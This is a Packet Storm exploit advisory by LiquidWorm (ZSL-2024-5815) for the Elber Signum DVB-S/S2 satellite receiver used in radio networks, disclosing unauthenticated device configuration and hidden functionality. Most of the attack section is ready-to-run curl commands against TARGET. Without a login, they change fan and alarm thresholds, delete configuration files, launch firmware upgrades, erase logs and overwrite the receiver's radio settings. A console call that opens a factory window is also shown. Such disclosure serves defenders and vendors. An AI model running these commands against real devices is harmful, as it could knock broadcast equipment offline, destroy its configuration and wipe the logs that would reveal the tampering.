what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Elber Signum DVB-S/S2 IRD For Radio Networks 1.999 Insecure Direct Object Reference

Elber Signum DVB-S/S2 IRD For Radio Networks 1.999 Insecure Direct Object Reference
Posted Apr 18, 2024
Authored by LiquidWorm | Site zeroscience.mk

Elber Signum DVB-S/S2 IRD for Radio Networks version 1.999 suffers from an unauthenticated device configuration and client-side hidden functionality disclosure vulnerability.

tags | exploit
SHA-256 | a259836c2010557736c6c674d0ca15f441385152927583f06374e38fb067306f

Elber Signum DVB-S/S2 IRD For Radio Networks 1.999 Insecure Direct Object Reference

Change Mirror Download

Elber Signum DVB-S/S2 IRD For Radio Networks 1.999 Device Config


Vendor: Elber S.r.l.
Product web page: https://www.elber.it
Affected version: 1.999 Revision 1243
1.317 Revision 602
1.220 Revision 1250
1.220 Revision 1248_1249
1.220 Revision 597
1.217 Revision 1242
1.214 Revision 1023
1.193 Revision 924
1.175 Revision 873
1.166 Revision 550

Summary: The SIGNUM controller from Elber satellite equipment demodulates
one or two DVB-S/ S2 signals up to 32APSK (single/multi-stream), achieving
256 KS/s as minimum symbol rate. The TS demodulated signals can be aligned
and configured in 1+1 seamless switching for redundancy. Redundancy can also
be achieved with external ASI and TSoIP inputs. Signum supports MPEG-1 LI/II
audio codec, providing analog and digital outputs; moreover, it’s possible
to set a data PID to be decoded and passed to the internal RDS encoder,
generating the dual MPX FM output.

Desc: The device suffers from an unauthenticated device configuration and
client-side hidden functionality disclosure.

Tested on: NBFM Controller
embOS/IP


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2024-5815
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5815.php


18.08.2023

--


# Config fan
$ curl 'http://TARGET/json_data/fan?fan_speed=&fan_target=&warn_temp=&alarm_temp='
Configuration applied

# Delete config
$ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=2'
File delete successfully

# Launch upgrade
$ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=1'
Upgrade launched Successfully

# Log erase
$ curl 'http://TARGET/json_data/erase_log.js?until=-2'
Logs erased

# Until:
# =0 ALL
# =-2 Yesterday
# =-8 Last week
# =-15 Last two weeks
# =-22 Last three weeks
# =-31 Last month

# Set RX config
$ curl 'http://TARGET/json_data/NBFMV2RX.setConfig?freq=2480000&freq_offset=0&mute=1&sq_thresh=-90.0&dec_mode=0&lr_swap=0&preemph=0&preemph_const=0&deemph=0&deemph_const=1&ch_lr_enable=0&ch_r_gain=0.0&ch_l_gain=0.0&ch_adj_ctrl=0&ch_lr_att=1&mpxdig_att=0&pilot_trim=0.0&mpxdig_gain=0.0&rds_trim=0.0&delay_enable=0&local_rds=0&output_delay=0&pi_code=0___&mpx1_enable=1&mpx2_enable=1&sca1_enable=1&sca2_enable=0&mpx1_att=0&mpx2_att=0&sca1_att=0&sca2_att=0&mpx1_gain=0.0&mpx2_gain=0.0&sca1_gain=0.0&sca2_gain=0.0&limiter_enable=false&lim_1_gain=0.0+dB&lim_1_th=0.0+kHz&lim_1_alpha=0.0+%25&setupTime=0.0+ms&holdTime=0.0+ms&releaseFactor=0.0+dB%2Fsec&lim_2_en=false&lim_2_gain=0.0+dB&lim_2_th=0.0+kHz&rds_gen=false&rt_PI=&rt_PS=&rt_plus_en=false&rt_line_A=&rt_line_B=&rt_AF=&rf_trap=0&output_trap=0'
RX Config Applied Successfully

# Show factory window and FPGA upload (Console)
> cleber_show_factory_wnd()

# Etc.
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close